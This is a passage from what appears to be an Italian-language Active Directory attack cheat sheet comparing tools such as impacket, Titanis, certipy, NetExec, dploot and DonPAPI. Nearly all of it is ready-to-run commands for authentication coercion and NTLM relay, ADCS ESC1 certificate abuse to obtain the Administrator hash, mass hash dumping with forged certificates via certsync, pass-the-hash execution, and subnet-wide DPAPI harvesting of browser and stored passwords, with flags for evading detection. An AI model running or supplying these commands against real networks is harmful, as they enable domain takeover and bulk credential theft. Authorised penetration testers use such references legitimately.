impacket — enable / disable an account (net.py covers these two UAC bits directly)

net.py DOMAIN/admin:[email protected] user -enable targetuser net.py DOMAIN/admin:[email protected] user -disable targetuser

bloodyAD — add UAC flag (enable AS-REP roasting)

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123
add uac targetuser -f DONT_REQ_PREAUTH

bloodyAD — remove UAC flag (re-enable account)

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123
remove uac targetuser -f ACCOUNTDISABLE

Titanis

Ldap moduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
targetuser userAccountControl+=4194304

gopacket — enable / disable an account

net DOMAIN/admin:[email protected] user -enable targetuser net DOMAIN/admin:[email protected] user -disable targetuser

gopacket — pass-the-hash

net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] user -enable targetuser

root@kitploit:~
[Torna all'indice](#index)

---

## 7. Coercizione dell'autenticazione

> Abbina la parte di coercizione con `ntlmrelayx` o Responder per la parte di relay. Titanis `credcoerce` copre solo MS-EFSR.```bash
# MS-EFSR — single technique
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile

# MS-EFSR — multiple techniques
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Techniques Efs.OpenFile,Efs.EncryptFile,Efs.DecryptFile,\
  Efs.QueryUsersOnFile,Efs.QueryRecoveryAgents,Efs.FileKeyInfo,\
  Efs.DuplicateEncryptionInfoFile

# MS-RPRN (PrinterBug) — no Titanis equivalent
printerbug.py DOMAIN/jdoe:[email protected] <listener-ip>

# NetExec — coerce_plus covers all methods (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, MSEven)
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip>
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PrinterBug
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PetitPotam

# MS-DFSNM (DFSCoerce) — no Titanis equivalent
python3 dfscoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

# MS-FSRVP (ShadowCoerce) — no Titanis equivalent
python3 shadowcoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

↑ Torna all'indice


Coerce + Relay Pattern```bash

Terminal 1 — relay listener (SMB)

ntlmrelayx.py -tf targets.txt -smb2support

Terminal 1 — relay to LDAP for RBCD / shadow credentials

ntlmrelayx.py -t ldaps://192.168.1.1 --delegate-access --escalate-user jdoe

Terminal 2 — trigger coercion

CredCoerce 192.168.1.10 \\share
-UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile

root@kitploit:~
[↑ Torna all'indice](#index)

---

## 8. Certificati

> **Stato gopacket:** Nessuno strumento ADCS. Usa certipy, Titanis `Cert` o impacket per tutte le operazioni sui certificati.

### Generazione di PFX autofirmati```bash
# certipy — Golden Certificate from compromised CA key (requires -ca-pfx)
# Note: certipy forge cannot produce a self-signed cert without the CA private key;
#       for Shadow Credentials use certipy shadow or impacket's pyWhisker instead

# certipy — Golden Certificate from compromised CA key
certipy forge -upn Administrator@DOMAIN -ca-pfx ca.pfx -out admin.pfx

# openssl — generic PKI (not trusted by AD for PKINIT without NTAuth enrollment)
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
  -subj "/CN=jdoe"
openssl pkcs12 -export -out jdoe.pfx -inkey key.pem -in cert.pem -passout pass:Password123

# Titanis — works in interactive sessions (RDP/console); may fail in non-interactive sessions
Cert selfcert -Subject CN=jdoe -PfxFileName jdoe.pfx

↑ Torna all'indice


Enumerazione dei modelli di certificato ADCS```bash

certipy — includes ESC1–ESC8 vulnerability analysis

certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout

certipy — pass-the-hash

certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -vulnerable -stdout

NetExec

netexec ldap 192.168.1.1 -u jdoe -p Password123 -M adcs

msldap — raw template list

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> certify

msldap> certtemplates

Titanis — enumerate certificate templates

Note: Ldap search is broken on Linux (ignores -SearchBase, always queries RootDSE → no results)

Use ldapsearch below for Linux; Ldap search works on Windows

Windows only:

Ldap search 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \

-SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" \

"(objectClass=pKICertificateTemplate)" \

-OutputFields displayName,msPKI-Certificate-Name-Flag,msPKI-Enrollment-Flag,pKIExtendedKeyUsage

Titanis — enumerate Enterprise CAs (Windows only — same Ldap search limitation on Linux)

Ldap search 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \

-SearchBase "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" \

"(objectClass=pKIEnrollmentService)" \

-OutputFields displayName,dNSHostName,certificateTemplates

ldapsearch

ldapsearch -H ldap://192.168.1.1 -D "CN=jdoe,CN=Users,DC=domain,DC=local" -w Password123
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local"
"(objectClass=pKICertificateTemplate)" displayName msPKI-Certificate-Name-Flag

root@kitploit:~
[↑ Torna all'indice](#index)

---

### ADCS ESC1 — Iscrivi e Recupera NT Hash```bash
# Step 1 — enumerate vulnerable templates
certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout

# Step 2a — request certificate with arbitrary UPN (certipy, HTTP/RPC enrollment)
certipy req -username jdoe@DOMAIN -password Password123 \
  -ca CA-NAME -template VulnerableTemplate \
  -upn [email protected] \
  -target ca.domain.local -out admin

# Step 2b — request certificate via SMB (aiosmb asmbcertreq — works when HTTP enrollment is firewalled)
asmbcertreq "smb+ntlm-password://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# aiosmb — pass-the-hash
asmbcertreq "smb+ntlm-nt://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# Step 3a — certipy: recover NT hash + TGT
certipy auth -pfx admin.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# Step 3b — minikerberos: recover NT hash only
minikerberos-getNTPKInit \
  "kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt

# Step 4 — Titanis PTH with recovered hash (use IP for Wmi exec; FQDNs fail at WMI DCOM activation)
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> "whoami"
Smb2Client ls \\dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash <recovered_nt>
Reg dumpsam 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> -BackupSemantics

↑ Torna all'indice


9. Raccolta di Credenziali Esotiche

Tecniche che producono una copertura di credenziali equivalente a un dump NTDS ma bypassano completamente i meccanismi standard (DRSUAPI, VSS, accesso ai file NTDS). Utili quando DCSync è bloccato, VSS è monitorato o l'accesso a livello DA non è disponibile ma esistono percorsi di trust ADCS o DPAPI.


certsync — Golden Cert + UnPAC the Hash

Esegue il dump degli hash NT per ogni utente di dominio senza DRSUAPI, VSS o accesso ai file NTDS. Richiede i diritti di amministratore CA (o un certificato CA esportato + chiave privata) e PKINIT funzionante. Flusso di lavoro: enumerare gli utenti da LDAP → dump del certificato/chiave CA → forgiare un certificato per ogni utente → UnPAC the hash tramite PKINIT per ciascuno. Produce output in formato secretsdump. In pratica non è più lento di DCSync.```bash

certsync — password auth (auto-discovers CA from LDAP)

certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — pass-the-hash

certsync -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
-u Administrator -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — Kerberos (ccache)

export KRB5CCNAME=admin.ccache certsync -k -no-pass -u Administrator -d DOMAIN.LOCAL
-dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — supply existing CA cert + key (skip CA backup step; quieter)

certsync -ca-pfx ca.pfx -u jdoe -p Password123
-d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — OPSEC: jitter, randomized per-user certs, custom LDAP filter

certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1
-ns 192.168.1.1 -timeout 2 -jitter 1 -randomize
-ldap-filter "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"

certsync — output to file

certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1
-ns 192.168.1.1 -outputfile domain_hashes

Feed recovered hashes into Titanis PTH flows (use IP for Wmi exec; FQDNs fail at WMI DCOM activation)

Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN
-NtlmHash <recovered_nt> "whoami" Smb2Client ls \dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN
-NtlmHash <recovered_nt>

root@kitploit:~
[↑ Torna all'indice](#index)

---

### Chiave di backup del dominio DPAPI — Decifrazione di massa delle credenziali

> La chiave di backup del dominio DPAPI è un segreto a livello di dominio conservato sui DC che decifra la chiave master DPAPI di ogni utente — e quindi ogni blob protetto da DPAPI nel dominio: password di Chrome/Edge/Firefox, Gestione credenziali di Windows, certificati, chiavi Wi-Fi, account SCCM NAA, credenziali delle attività pianificate e altro ancora. Estrarla richiede privilegi DA, ma una volta ottenuta la chiave è permanentemente valida a meno che non venga ruotata esplicitamente. Produce una copertura di credenziali paragonabile a NTDS per i segreti memorizzati nei blob DPAPI ed è spesso più ricca per il movimento laterale, poiché restituisce password in chiaro anziché hash.```bash
# Step 1 — dump the domain backup key (impacket)
dpapi.py backupkeys -t DOMAIN/Administrator:[email protected] --export
# Writes domain_backup.pvk to current directory

# Step 1 — impacket pass-the-hash
dpapi.py backupkeys -t DOMAIN/[email protected] --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — gopacket (subcommand syntax: positional target after subcommand)
dpapi backupkeys 'DOMAIN/Administrator:[email protected]' --export
# gopacket — pass-the-hash
dpapi backupkeys 'DOMAIN/[email protected]' --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — dump the domain backup key (NetExec; fetches automatically during --dpapi)
netexec smb 192.168.1.1 -u Administrator -p Password123 --dpapi

# Step 2a — dploot: decrypt master keys for all domain users using backup key
dploot masterkeys -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk -outputfile masterkeys.txt

# Step 2b — dploot: decrypt all credential manager blobs across domain
dploot credentials -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2c — dploot: decrypt browser-stored passwords (Chrome, Edge, Firefox)
dploot browser -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2d — dploot: full triage (masterkeys + credentials + certificates + vaults)
dploot triage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2e — dploot: SCCM NAA credentials and collection variables
dploot sccm -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2f — dploot: machine (SYSTEM scope) DPAPI secrets
dploot machinetriage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1

# dploot — pass-the-hash
dploot triage -d DOMAIN -u Administrator \
  -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -t 192.168.1.1 --pvk domain_backup.pvk

# NetExec — DPAPI dump across subnet (fetches backup key automatically)
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi cookies
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi nosystem

# DonPAPI — comprehensive remote DPAPI harvest across subnet in one pass
# (auto-fetches backup key, decrypts masterkeys, dumps all DPAPI-protected secrets)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --fetch-pvk

# DonPAPI — supply existing backup key (quieter; avoids re-dumping from DC)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --pvkfile domain_backup.pvk

# DonPAPI — targeted collectors only
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --collectors SCCM,Certificates,Wifi,CredMan

↑ Torna all'indice


Scarica lo strumento
  • Flussi dati alternativi NTFS
  • Enumerazione NIC del server
  • Enumerazione condivisioni in blocco · smbclient.py
  • secretsdump.py -use-keylist
  • Parsing offline NTDS · secretsdump.py
  • DCSync · secretsdump.py · Dsrep rep
  • Gestione privilegi LSA
  • Enumerazione privilegi e account LSA
  • ScenarioimpacketgopacketTitanisminikerberos URLmsldap URLMetasploitaiosmb URL
    PasswordDOMAIN/user:Pass@hostDOMAIN/user:Pass@host-UserName user -UserDomain DOMAIN -Password Passkerberos+password://DOMAIN\user:Pass@kdcldap+ntlm-password://DOMAIN\user:Pass@dcSMBDomain DOMAIN SMBUser user SMBPass Passsmb+ntlm-password://DOMAIN\user:Pass@host
    Pass-the-Hash-hashes :NTLM-hashes :NTLM DOMAIN/user@host-NtlmHash <NTLM>kerberos+ntlm-nt://DOMAIN\user:NTLM@kdcldap+ntlm-nt://DOMAIN\user:NTLM@dcSMBPass aad3b435b51404eeaad3b435b51404ee:NTLMsmb+ntlm-nt://DOMAIN\user:NTLM@host
    Chiave AES-aesKey <hex>-aesKey <hex>-AesKey <hex>kerberos+aes://DOMAIN\user:hex@kdcldap+kerberos+aes://.../?dc=ipAESKEY <hex>smb+kerberos+aes://DOMAIN\user:hex@host/?dc=ip
    Chiave RC4tramite -hashestramite -hashes :NTLM-NtlmHashkerberos+rc4://DOMAIN\user:NTLM@kdcldap+kerberos+rc4://.../?dc=ipNTHASH <NTLM>smb+kerberos+rc4://DOMAIN\user:NTLM@host/?dc=ip
    ccacheKRB5CCNAME=file.ccacheKRB5CCNAME=f.ccache -k -no-pass DOMAIN/user@host-TicketCache file.ccachekerberos+ccache://...?ccache=f.ccacheldap+kerberos+ccache://.../?dc=ip&ccache=f.ccacheKrbUseCachedCredentials truesmb+kerberos+ccache://DOMAIN\user:@host/?dc=ip&ccache=f.ccache
    Ticket kirbiconverti primaticketConverter file.kirbi file.ccache prima-Ticket file.kirbiminikerberos-kirbi2ccache primaconverti primaauxiliary/admin/kerberos/ticket_converterconverti prima in ccache
    PKINIT / PFXcertipy / gettgtpkinit——kerberos+pfx://...?pfx=f.pfx&pfxpass=Pldap+kerberos+pfx://.../?dc=ip&pfx=f.pfx—smb+kerberos+pfx://DOMAIN\user:@host/?dc=ip&pfx=f.pfx&pfxpass=P
    NEGOEX / PFX———n/an/a—smb+negoex-pfx://cert.pfx:certpass@host/
    SOCKS5proxychains prefissoproxychains prefisso (cgo nativo; nessun workaround GOFLAGS necessario)-Socks5 host:portn/a?proxytype=socks5&proxyhost=...&proxyport=...set Proxies socks5:127.0.0.1:1080?proxyhost=127.0.0.1&proxyport=1080
    SOCKS4n/an/an/an/an/an/a?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080
    Cifratura RPCn/an/a-EncryptRpcn/an/aauton/a (la firma SMB viene negoziata automaticamente)
    Semantiche di backupn/an/a-BackupSemantics (Reg) / -UseBackupSemantics (Smb2Client)n/an/an/an/a
    Bind anonimolimitato—non documentaton/aldap://192.168.1.1n/an/a
    QUIC (Azure)n/an/an/an/an/an/asmb+quic+ntlm-password://DOMAIN\user:Pass@host
    Porta LDAP(LDAP diretto)-port 389 obbligatorio (il default 445 interrompe gli strumenti LDAP)(LDAP diretto)(porta nell'URL)(porta nell'URL)——